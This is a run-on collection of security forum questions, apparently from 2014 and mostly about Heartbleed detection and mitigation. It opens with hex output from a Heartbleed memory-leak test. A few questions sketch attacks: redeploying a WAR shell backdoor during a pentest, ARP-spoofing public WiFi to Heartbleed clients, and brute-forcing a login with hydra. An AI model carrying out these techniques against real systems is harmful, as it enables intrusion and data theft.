0260: 64 62 34 38 65 63 32 33 65 30 34 65 35 38 36 37 db48ec23e04e5867 0270: 33 35 66 34 61 32 34 38 35 66 62 31 39 38 3D 35 35f4a2485fb198=5 0280: 38 33 62 62 63 33 36 38 61 65 35 35 36 65 30 66 83bbc368ae556e0f 0290: 35 61 32 39 63 31 64 61 30 66 63 62 64 65 37 0D 5a29c1da0fcbde7. 02a0: 0A 0D 0A 2A F3 EF 73 12 99 DB B9 B3 1C 6B 2E B7 ...*..s......k.. 02b0: 90 42 58 00 00 00 00 00 90 03 68 00 00 00 00 00 .BX.......h..... 02c0: 90 03 68 00 00 00 00 00 90 03 68 00 00 00 00 00 ..h.......h..... 02d0: 90 03 68 00 00 00 00 00 90 03 68 00 00 00 00 00 ..h.......h..... 02e0: 90 03 68 00 00 00 00 00 90 03 68 00 00 00 00 00 ..h.......h..... ... 3fe0: 90 03 68 00 00 00 00 00 90 03 68 00 00 00 00 00 ..h.......h..... 3ff0: 90 03 68 00 00 00 00 00 90 03 68 00 00 00 00 00 ..h.......h..... WARNING: server returned more data than it should - server is vulnerable!
If LastPass does not store your master password, then how can you login to use their web app? Surely you must type it in, it is sent over using SSL, and then salted/hashed on the server-side, and then compared with what in their DB, like any other login scheme on the web.
I have observed a number of web-based login forms that offer 2-factor authentication do token entry on a second form after validating your username and password. Is there a reason not to ask people for their 2-factor authentication token at the same time as their username and password? A login form could detect a username that has 2-factor authentication enabled before they complete the login and present them a token-entry box on on the login page. This would leak whether any given username had 2-factor authentication enabled, but wouldn't confirm a valid password without a valid token.
From what I read at heartbleed.com "...Bug was introduced to OpenSSL in December 2011 and has been out in the wild since OpenSSL release 1.0.1 on 14th of March 2012. OpenSSL 1.0.1g released on 7th of April 2014 fixes the bug." So what took them so long for it to be fixed ? Most importantly, how come any of the sites like Yahoo/Github did not know about the patch before 1.0.1g was released ? I find it very uncomfortable that OpenSSL patches it first, then everyone is fumbling to apply the patch while the vulnerability is being exploited.
I was wondering if the linux TRESOR module (http://en.wikipedia.org/wiki/TRESOR) would protect a webserver against HeartBleed or other similar attacks.
I'm sure its obvious, but I was wondering, what is the primary reason 3DES encryption is not used for storing passwords in the database? My understanding is that 3DES is a strong encryption? So I can only think that the reason it is not used is because its encrypted not hashed, so that if the system was compromised the hacker could find the key used to encrypt and use it to decrypt? The other reason being in privacy of information, even the database owner should not have the ability to see the users passwords, as they are often the same password used everywhere. Is there any other reasons why it isn't used? Is it easier to brute then SHA? NOTE: I am not using 3DES, but my company previously did. It was just a question out of curiousity.
Today when I woke up , I got a email from Godaddy that contain “A critical vulnerability with OpenSSL, known as 'The Heartbleed Bug' was recently announced that could potentially impact your server“ I don’t know what Heartbleed is. Please help me protect my server.
Most of my friends who are not experienced in computers want to know what Heartbleed is and how it works. How would one explain Heartbleed to someone without a technical background?
I want to implement card-based authentication for the parking system in a university. Currently all students own a Java Card-based student ID card, if they have not broken or lost it. Can we create custom APDU structures in a blank, non-smart 13.56Mhz card? I'll elaborate. While the majority of the parking lot is occupied by students, a handful of the school staff also park in this lot. The staff do not have a card similar to the student ID card. I also want to take account of students who lost the student ID card. To make use of the student ID card and also serve people without one, I need to find a drop-in replacement for the student ID card. The parking auth system communicates with the student card using APDU commands, that is, a command that selects an applet and provides additional parameters. The card answers the APDU command with certain static data unique to each student. That's it for the card. Therefore this is entirely a read-only operation as far as the card goes. From what I understand, the Java Card is a microprocessor card (a smartcard), while the usual, lower cost blank card that we can find easily on the market is a memory card. For a drop-in replacement with limited functionality I should use the memory card. I wish to emulate the APDU structures of the Java Card in the blank card, the drop-in replacement. In short, I want the drop-in replacement to give the same answer as the original student ID card's answer when queried by the reader, and only for a few types of APDU commands (i.e from a single Java Card applet). Is this possible? I have read that most chips like a Mifare Classic/Ultra Light or an NXP chip are using proprietary, pre-programmed APDU commands. I don't think I need to use a new real smartcard just to emulate a few APDU applets that answer with specific data. The standards being used are ISO 14443-A and ISO 7816-4.
One of my friends site got hacked recently. Now while pinging the site ping zyz.com the response is like From 10.x.0.1 icmp_seq=79 Packet filtered From what I have heard, 10.x.0.1 looks like a LAN gateway address. Could someone please help by telling me why is the response having subnet detail in it? Any help would do, Google-ing dint help much!
Can an external tool accurately determine the current vulnerability of a site to Heartbleed? If so, how? What has to be tested/tested for? What features are required? vvvvvvvvvv UPDATE 1 What features are required to determine if a vulnerable site was remediated? How does one determine that it is time to update the password? If we use a tool like those mentioned below, what should the tool be checking? This might include: Is OpenSSL being used? Is version of OpenSSL vulnerable? If vulnerable version, is heartbeat allowed? Were keys updated? I am assuming that the passwords will be updated. The larger question of determining whether a password "really" needs to be updated is too difficult across a large number of sites. I'll settle for just knowing when I can go ahead and update them. There are several available tools, but I'm not sure they are complete/accurate. ^^^^^^^^^^ While we would all like to know for each site during what period, if any, it was directly vulnerable to Heartbleed, that is a rather difficult problem. Even more desirable and difficult: was site breached and what was lost. For the much more limited purposes of knowing whether it is safe/time to update a site password(s), we need to determine whether a site is currently vulnerable to Heartblood or not. The "not" may be because of remediation or because the site inherently cannot be exploited (different software) but for the purposes of this question, assume that all site passwords are going to be changed but only if/when the respective site is not currently vulnerable. Anti-weakpasswords provided the most complete list of Heartbleed vulnerability checkers for sites (see below) that I've seen in response to: HeartBleed - How to detect compromised websites LastPass also has a site vulnerability checker: https://lastpass.com/heartbleed/ ChromeBleed is a chrome extension to identify vulnerable sites: https://chrome.google.com/webstore/detail/chromebleed/eeoekjnjgppnaegdjbcafdggilajhpic Right now, though, there are several Heartbleed vulnerability detectors/checkers that I'll list for the community. Qualys SSL Labs is more or less the canonical free SSL test site; they added an experimental Heartbleed test hours ago (and set the security grade to F for every site that's found to be vulnerable. titanous on github appears to still be under active development, and titanous also released Go programming code for Heartbleed detection, had better messages than Filippo as of this morning, and was last updated 32 minutes ago. It appears to be under the Go license, though I didn't do a full comparison; similar to a BSD 3 clause license. Filippo.io was one of the first Web sites, and they released their code on github with an MIT license (Go programming language), and was last updated 4 hours ago. musalbas on github released the Python program "ssltest.py" about 10 hours ago that can do mass/bulk tests in only 178 lines (including a few comments), no license listed. Musalbas also released lists of the results of scanning the top 100, 1000, 10000, and 1 million Internet sites as of about 7 hours ago. This is a variant of Stafford's code. possible.lv is another web site that does Heartbleed vulnerability scans. Codenomicon Defensics appears to do detect Heartbleed as well. @Lekensteyn released the pacemaker python client checker, modified a few hours ago, as well as the original Stafford version of ssltest.py. No specific license is listed. Metasploit is also gaining Heartbleed tests very rapidly, including both the server check linked here and a client check from @HDMoore and @Lekensteyn.
I am at a small firm (12 PC on the internal network). We use this network architecture now: Internet(Modem) --> Router --> Firewall --> Switch -- > Internal Network (clients PCs) | | |- Wifi Router |- DHCP & AD Server |- HTTP file server The Main server and the clients PCs are (relatively) new (to other components), they were bought in 2005. But the other hardwares are creepy old ones, lot of them is older than 15 year. They became the bottlenecks of the network. Here I describe all of the components in a short shoot: The Router is an old ASUS (Rx3041) Firewall is a MS Server 2003 R2 with ISA 2006 installed (now formerly Forefront Threat Management Gateway) Definitely this is the main bottleneck of our network, we need to restart this server more than one per week, because it randomly start to drop allowed connections. DHC & AD Server is a MS SVR 2008 R2 and it also operates as an internal file server and internal HTTP server (We run a Redmine issue tracker on it. But not on IIS.) Wifi Router is just simply an access point to the internet outside of our firewall for our wireless devices such phones and tablets (but no laptops or computers, which we use for work.) HTTP File server is an old laptop, which is out of the firewall too (However we have a rule for it to reach it from internal network, so we use it as a network drive to publish some stuff. While our programmers work out of office, so we don't have any sensitive information on most of the client PCs except one. Our server store sensitive information too. (source code, our clients information, etc..) We want to fresh up our network a bit. We plan to use only one router instead of 2 routers and a firewall. It looks like this: Internet(Modem) --> Router with wifi --> Switch -- > Internal Network (clients PCs) | |- HTTP file server (DMZ maybe?) We want to use the Asus RT-AC66U router. I read this great answer from Bill Frank, but that question is three year old and things change fast. Maybe routers evolved enough to be able to secure a network. So my question: is this a viable option? Could a router protect us? Or must we use (still) a hardware firewall to protect our network? (We should, but must we?) We choose this option because of the matter of money. If I could I setup a new router and place the whole network behind a firewall (on new machine) but management say there is no easy money can be spent for that. Should I fight for a new firewall server? Or the router will be enough?
If I have got this right in my head it would be a simple enough task to combine arp spoofing on a public WiFi to redirect clients to an evil SSL server which sends malformed heartbeat requests or to set up a honeypot WiFi and use the box as a router.. not many people would notice this as most public WiFi hotspots redirect you to a login page on connection.. my question is what information can be gained from the client side attack (other than their private keys which in this usage case wouldn't be that valuable as we already have ssl strip etc..)?
So the heartbeat bug can lead to memory read overrun, exposing (parts of) the process memory, because it reads the payload when there actually is no (or less) payload. But what do you need a payload for, especially in a heartbeat? It looks like it's just memcpy'd into the response. How is it used, exactly? Edit: Similar question, very interesting answer: Why does the client supply the length of the message at all? Edit in response to TildalWave's comment: This question is not a duplicate of 55116. I'm asking what the payload is used for. The other question is asking how the exploit works in general ("How exactly does the OpenSSL TLS heartbeat (Heartbleed) exploit work?") and does not even contain the word "payload". Clarification - it seems my question is a little unclear. A heartbeat is usually used to check if the other system is still there, which is basically a yes/no question - so why is there a huge 64 KB sized payload at all (Mark has already mentioned sequence numbers though)? The server does not care about the contents of the payload, it simply copies it into the response (expecting the client to provide the payload length instead of checking it, at least before the heartbleed fix), right? What kind of data would a client put in the payload? A number? A word? A random string? If possible, please provide a link to a source file (preferably C) together with the relevant lines of code. Can someone provide an example for a use case that requires the payload be longer than, say, 8 Byte? Why would using an 8 Byte hex sequence number be a bad idea?
I am in the midst of a pentest. I have managed to uploaded a war shell (backdoor) in c:\test\ which is automatically deployed in a folder, for example c:\test\tmpbrowser.war. The application which I am testing and its files which are accessible are installed in c:\approot\extracted\. Now what I want to arrange is that, when I upload a war file to C:\test\, it will get deployed to C:\approot\extracted\. Is this possible?
I host my personal website on digitalocean. Nowadays, I received many abuse complaints which finally make them shutdown my machine. I feel really sad and angry. Someone complaints that my machine is used to attack his machine via ssh. I check my machine, and find two suspects: root@eva:~# lsof -i COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME sshd 566 root 3r IPv6 7494 0t0 TCP *:ssh (LISTEN) sshd 566 root 4u IPv4 7518 0t0 TCP *:ssh (LISTEN) php5-fpm 671 root 6u IPv4 7849 0t0 TCP localhost:9000 (LISTEN) php5-fpm 672 www-data 0u IPv4 7849 0t0 TCP localhost:9000 (LISTEN) php5-fpm 673 www-data 0u IPv4 7849 0t0 TCP localhost:9000 (LISTEN) php5-fpm 674 www-data 0u IPv4 7849 0t0 TCP localhost:9000 (LISTEN) php5-fpm 675 www-data 0u IPv4 7849 0t0 TCP localhost:9000 (LISTEN) mysqld 759 mysql 10u IPv4 8233 0t0 TCP localhost:mysql (LISTEN) bash 1018 root 3u IPv4 8700 0t0 TCP *:3245 (LISTEN) bash 1018 root 8u IPv4 8783 0t0 TCP mysitename.com:57728->91.236.182.1:ircd (ESTABLISHED) bash 1018 root 9u IPv4 8714 0t0 TCP mysitename.com->ircu.atw.hu:ircd (ESTABLISHED) apache2 30915 root 3u IPv4 4216829 0t0 TCP *:http (LISTEN) apache2 30920 www-data 3u IPv4 4216829 0t0 TCP *:http (LISTEN) apache2 30921 www-data 3u IPv4 4216829 0t0 TCP *:http (LISTEN) apache2 30922 www-data 3u IPv4 4216829 0t0 TCP *:http (LISTEN) apache2 30923 www-data 3u IPv4 4216829 0t0 TCP *:http (LISTEN) apache2 30924 www-data 3u IPv4 4216829 0t0 TCP *:http (LISTEN) sshd 30948 root 3r IPv4 4217444 0t0 TCP mysitename.com:ssh->210006025170.ctinets.com:64144 (ESTABLISHED) what is the IRC things? they come out again after I kill them. How can I fix this and fight back? Can anybody explain the theory how I got attacked? and generally, how to react after been attacked. ps. I did really a small amount of operations on my machine, just host my website there. Basically, I just changed the things under /etc/apache2 and /var/www
I have a form which contains a password field. In swing the getPassword() method returns a character array. After the password has been processed by my web application the array can be wiped to remove the password from memory. This is not possible when using Strings because Strings are immutable. Using arrays reduces the risk of memory disclosure attacks. How can I achieve this, i.e. not using Strings for passwords in Wicket? This page has an example with Strings.
I understand the part about a server with the vulnerability. But from what I gather, the vulnerability has also existed in browsers that use the vulnerable OpenSSL implementations. So, if I first visit a site that doesn't have a vulnerable OpenSSL implementation, log in then, and then afterwards (or perhaps through some obscure AD networks) gets routed to a malware server (that wouldn't normally be able to attack my computer), wouldn't this server be able to send an incorrect heart beat response back and thus get that 64KB from my browser sent to it? So in essence, won't the Heart Bleed vulnerability in my browser mean that I could've potentially have leaked all data from my browser to a site?
Since I'm quite beginner to information and websites security, I'd like to ask more experienced people about and idea, that just crossed my mind (probably isn't my original discovery! :]). With introduction of so many new top-level domains, would it increase my website security, if I would move "control panel" to a separate subdomain or even top-level domain? For example: all-users frontend: http://www.example.website, admins-only backend: http://www.example.management. Users are using first link only. They may even not be aware of the fact, that the other domain exists, as it can be further secured on server side, to disallow all traffic from outsite company network. Plus you don't have access to even a piece of management tools, if you login through first domain, you have access to your account's control panel only. But, never to anything related to entire website management. For obvious reasons, both websites would use the same database (I don't take replication as an option here -- see end of text) and both top-level domains would most likely be parked on the same server / hosting (low cost project -- see end of text), but with a complete separation of each other. This is proposed as contrary to "standard" websites, with RBAC system implemented, where -- if admin-level user logs in, he or she gains access not only to his or her account control panel, but also to entire website management tools, system toys etc. all based on determining his or her access rights. Would implementation of separation of frontend and backend increase website security in any noticeable or reasonable way? Or would that be just a waste of time, money and resources? One of my colleges claims, that nowadays intruders doesn't care for something like breaking into account or control panel or gaining someone's password. Nowadays intrusions are based on DDoS attacks and physically "killing" server. If that is true, then my proposed solution brings nothing. An effective attack would put down entire server, with both frontend and backend, no matter, how many domains it uses. BTW: We're talking about low-class website, with up to 10k-100k users, a home-grown project, that turned out to become a bit more interesting. Hosted on one server. Without multi-server hosting, without database replication, without DDoS attack mittigation etc. We're not talking about another Facebook or this class service, as in this case they most likely have much, much better solutions than multi-domain.
My understanding of the Heartbleed vulnerability is that there is no bounds check on the payload length/buffer size so the server can read into memory outside of its process space. But can the start address be modified? If not, then the probability of snagging anything interesting from a server with gigs of RAM, where much of the time that space may not change, is far less likely than if any 64K space can be read. This article seems to sensationalize the impact from a rational discussion of probability to a stance of "you cannot trust anything; your server RAM has been 100% exposed for years". https://www.schneier.com/blog/archives/2014/04/heartbleed.html Granted, 64K is a fairly large chunk, enough to store 3,200 SHA1 hashes, but on a 4Gb server, its still only 1 / 67,108th of the total address space - is the threat being hyped?
As title says, is there an av that does that? And if not, is there any other program that protects processes like lsass in windows, apart from protected process utility in win8.1?
Is electronic voting software compromised by the heartbleed issue?
Before you dismiss this as silly, let me explain :) The only purpose of this encryption is to make the data inaccessible if the drive breaks down and I want to send it off for warranty replacement. This system needs to be able to boot without my supervision when I'm away - which precludes the use of any passwords. Right now I'm stuck with a drive that I can't warranty-replace, because it's too broken for me to wipe it. Ideally the encryption would be based on a keyfile stored on the (unencrypted) system drive. Options I've considered: TrueCrypt: requires the system disk to be encrypted too before it will agree to auto-mount (which requires the use of a password). BitLocker: unsupervised decryption impossible without a TPM module. Maybe it's possible with one? But my motherboards don't have TPM anyway. EFS: almost suitable, but cannot enable for the whole drive and copied files remain encrypted even when copied to a folder with no "encrypt" flag, both of which will be problematic in practice.
I have a Windows based server that serves a signed JAVA applet. The website isn't secured (HTTP), but all JAVA applets have to be signed now, so the site serves a signed JAVA applet as part of a web page. As such, the applet would have access to the client computer. I can't explicitly find OpenSSL anywhere on the server, but I'm unclear if Apache (on Windows) somehow has it built in, and if the applet is vulnerable to this exploit.
I'm working on a project, where we use the Common Name as a certificate's basic identifier. However, importing certificates without the Common Name fails. What's the default way to use digital certificates? Which identifier should we choose to be able to import them?
How can a Linux server be protected against an attacker that tries to open a large number of SSH sessions (probably trying to brute force a password) that no ports remain to be able to legitimately login to the machine? The server already uses only SSH key based access and does not allow root logins, so the password brute forcing is not a concern.
One thing that's been bugging me in relation to the discovery of the Heartbleed OpenSSL flaw is the recommendation that everyone should run to their computers in a panic and change all of their passwords right now. Considering that there probably still are sites out there that haven't yet upgraded their OpenSSL version to fix the issue, won't changing all your passwords just leave you vulnerable to having your new passwords stolen? This could be especially troublesome as people tend to reuse the same passwords across multiple sites. In summary, my question is - how can users adequately protect themselves at this point in time?
Just heard about the heartbleed news over the internet for OpenSSL and wondering if it affects ios apps as well. My app uses openssl crypto library and thus the concern ! Any views in this regard would be much appreciated ! Venkat
There is a task to design a system to store sensitive data securely (should be HIPAA compliant in the future). It's just a draft - this will not be used in production in a foreseeable future. I have a prototype inspired by TrueVault and want to know if there is some semantic security lacks or violations of security concepts in it. So the system consists of 4 subsystems: Encryptor/Decryptor (Cryptor) is responsible for random key/iv generation, encrypting and decrypting binary data with AES-256-GCM algorithm (OpenSSL implementation). This server performs only in-memory operations and stores the result inside 3 other subsystems and is connected with them via IPSEC or SSL VPN. Three other subsystems have no direct connection between each other. External client uses only encryptor/decryptor public interface and is not directly connected to other subsystems. Public interface: dump(client_binary_data) -> external_uuid load(external_uuid) -> client_binary_data DataStore stores [data_store_uuid, encrypted_data, auth_tag] triplet. dump(encrypted_data, auth_tag) -> data_store_uuid load(data_store_uuid) -> [encrypted_data, auth_tag] KeyStore stores [key_store_uuid, key, iv] triplet. dump(key, iv) -> key_store_uuid load(key_store_uuid) -> [key, iv] MapsStore stores map between DataStore triplet, KeyStore triplet and external_uuid: [external_uuid, data_store_uuid, key_store_uuid]. dump(external_uuid, data_store_uuid, key_store_uuid) load(external_uuid) -> [data_store_uuid, key_store_uuid] Workflow: Cryptor.dump(binary) generate external_uuid generate random key generate random iv use external_uuid as AAD for AES-256-GCM encrypt client_binary_data -> encrypted_data derive auth_tag KeyStore.dump(key, iv) -> key_store_uuid DataStore.dump(encrypted_data, auth_tag) -> data_store_uuid MapStore.dump(external_uuid, data_store_uuid, key_store_uuid) Return external_uuid to the client Cryptor.load(external_uuid) MapStore.load(external_uuid) -> [data_store_uuid, key_store_uuid] KeyStore.load(key_store_uuid) -> [key, iv] DataStore.load(data_store_uuid) -> [encrypted_data, auth_tag] Decrypt data and return it to client Main questions I'm already in doubt with: is there better/more common/trusted way to encrypt and store data. It should be as fast as possible. Maximum 50 MB blobs are expected to work with. should iv be stored in KeyStore subsystem or in DataStore subsystem. Is there any difference between these two approaches? NIST says here (page 16) that iv is part of the message. I think that the "message" term is closest to information stored inside the DataStore rather than the KeyStore. is it safe to use external_uuid as AAD in this scheme? Or should I add another random uuid for that purpose to MapVault should I encrypt keys in KeyStore by client public key or some master key? Seems this approach used in Oracle TDE scheme. I think encryption with client's public key will make impossible to restore the data even if all three subsystems are stolen.
In light of the recent heartbleed vulnerability, I'm thinking of switching to a service like 1Password. However, I don't know how to evaluate the risk of NSA (or other government) spying. So, two questions: how can I evaluate the risk of such spying, and is 1Password secure from it? EDIT: I thought it went without saying, but I'm interested in answers that explain the rationale used. I'm not interested in baseless opinion about 1Password (like "1Password sucks!"), but I am interested in impartial criticism, with an emphasis on how one can evaluate services like it with respect to this vulnerability. Also, please back up any opinions with facts and references. EDIT 2: I realize that asking for definitive proof of spying is unrealistic. I'm asking for a way of evaluating the risks. For example, if they claimed to be free of government spying, that would be useful information. (They make no such claim, as far as I can tell.) Or perhaps it is significant that they are a Canadian company. I don't know, and I would appreciate help from you security experts.
I am semi-embarrassed to ask this question having worked in the field for 20 years, but can someone describe to me why I should run SSL on any web site that uses authentication? I understand the bigger "why" issues (people use same password on blog and bank) and I am assuming that the passwords are stored encrypted on the site database, but I want to really, simply, explain the technical risk of transmitting non-SSL passwords in a way that is grounded in practical application. Example: I have a wordpress blog I am hosting on bluehost. I go to the login page and enter my username and password and press submit. That information is sent to the web server in an unencrypted HTTP POST. Now if someone is on my network or any network where the packets are broadcast, running a sniffer, they can get read the packets and write code to parse for interesting words like "login" or "password." Is that how it works? How would this work in my example? Assume there is nobody on my home network--that otherwise, I have taken appropriate security measures for devices that are within my control. How does the hacker get in between me and my website? Would he or she just log on to their own bluehost account and be able to monitor all traffic on the subnet? Or could they be ANYWHERE in between; e.g. I'm on Verizon FIOS, so maybe they get onto (install an automated process) a server somewhere within the Verizon network. Or could they literally be anywhere? My understanding of networking is that my device broadcasts packets with a destination IP that is the bluehost server. Those packets get "noticed" and resent by my router to upstream routers and switches that are part of the Verizon network. As they cross each subnet, the potential exists for any device sitting on that network to observe the packet as it is broadcast locally. Good practices would have those networks set up with security that did not result in people being able to get in the middle...but once the information gets to bluehost, then we are at their mercy in terms of broadcast packets. Once the http server "hears" the POSTed information, it encrypts and compares against the locally-encrypted password. Is this an accurate way to think about it and explain to others?
Is it possible to brute force a flash login with hydra? If not, what is a good tool to pen test a flash login?
I'm learning about security at the moment and one thing I'd like to try out is having a key server distribute keys to clients that will allow them to securely save and read data locally. My basic idea is that the client will communicate with the server over TLS where they'll provide a username and password. This password will be used to both authenticate the user and decrypt the key in the database. Essentially the key server database would be laid out like so: | User Name | Hashed Password+Salt | Salt | Encrypted Key | In this case, would the keys be secure in the event of a database leak? I'm wondering if there is a best practice for this kind of implementation or should I handle this differently?
With all the coverage of the technical aspects and doomsday talk, it's hard to get co-workers to listen when they don't see stories of real people being affected by Heartbleed. So is there any evidence of individuals out there actually suffering at the hands of this bug?
When you create a Scheduled Task in Windows, it gives you the option of running the task as a different user, including saving the password. How secure is the password that is stored?
Does anyone know of any research of papers on fingerprinting botnets? If a given target is being brute forced or DDoSed do methods exist to determine if a brute force or DDoS on another target are coming from the same botnet? Based on geography of the nodes and time of day given nodes are attacking? I'm talking prolonged attacks.
As I understand it, HTTPS/SSL/TLS works by EC/DHE/RSA key exchange, providing a shared symmetric key (ie. for AES) that is used for future communications. How long is this symmetric key kept in use by the major browsers before a new key is negotiated?
Let's make the following assumptions: A trusted root certificate was being served with a vulnerable version of OpenSSL. Prior to public disclosure, a malicious entity was aware of and exploited the heartbleed vulnerability Said malicious entity attacked and gained the private key for the root certificate I don't have an affected version of OpenSSL on my server, but I have a certificate signed by the compromised root certificate Presumably, at this point, the CA would revoke their root certificate, and any certificates signed by it would have to be re-issued, correct? Once the root certificate was revoked, the potential for damage would be limited to clients that didn't update their trusted root bundle, correct? What about last week? A compromised root certificate would have allowed an attacker to create a certificate for any domain, not just one that had been signed by that certificate, right? There wouldn't be any additional vulnerabilities for my domain because its certificate was signed by the compromised certificate, right? And, as a bonus made up of complete speculation, how likely do you think it is that this vulnerability has been found and exploited prior to public disclosure?
In the context of the Heartbleed bug I would like to make sure that I can detect if someone tries to do a MITM attack with a stolen certificate, which since has been revoked. The problem is that browser either only soft-fail or don't check the CRL at all because soft-fail is useless. Firefox lets one make OCSP response mandatory but it has significant disadvantages. What are the recommended settings / plugins to use to detect certificates which have been revoked since Heartbleed was announced? Specifically I would like to Make OCSP mandatory for certificates issued before 04/07. Maybe with a fallback to something like Perspectives. Does any such extension exist / is under development? Have the CRL record of a certificate cached from my previous visit to a site. That doesn't help against MTM attack on my first visit but I would notice a MITM with a revoked certificate on any subsequent visit. Any other recommendations of extensions settings to solve this problem? I'm happy to change the browser to solve the issue, thus recommendation for any browser are welcome.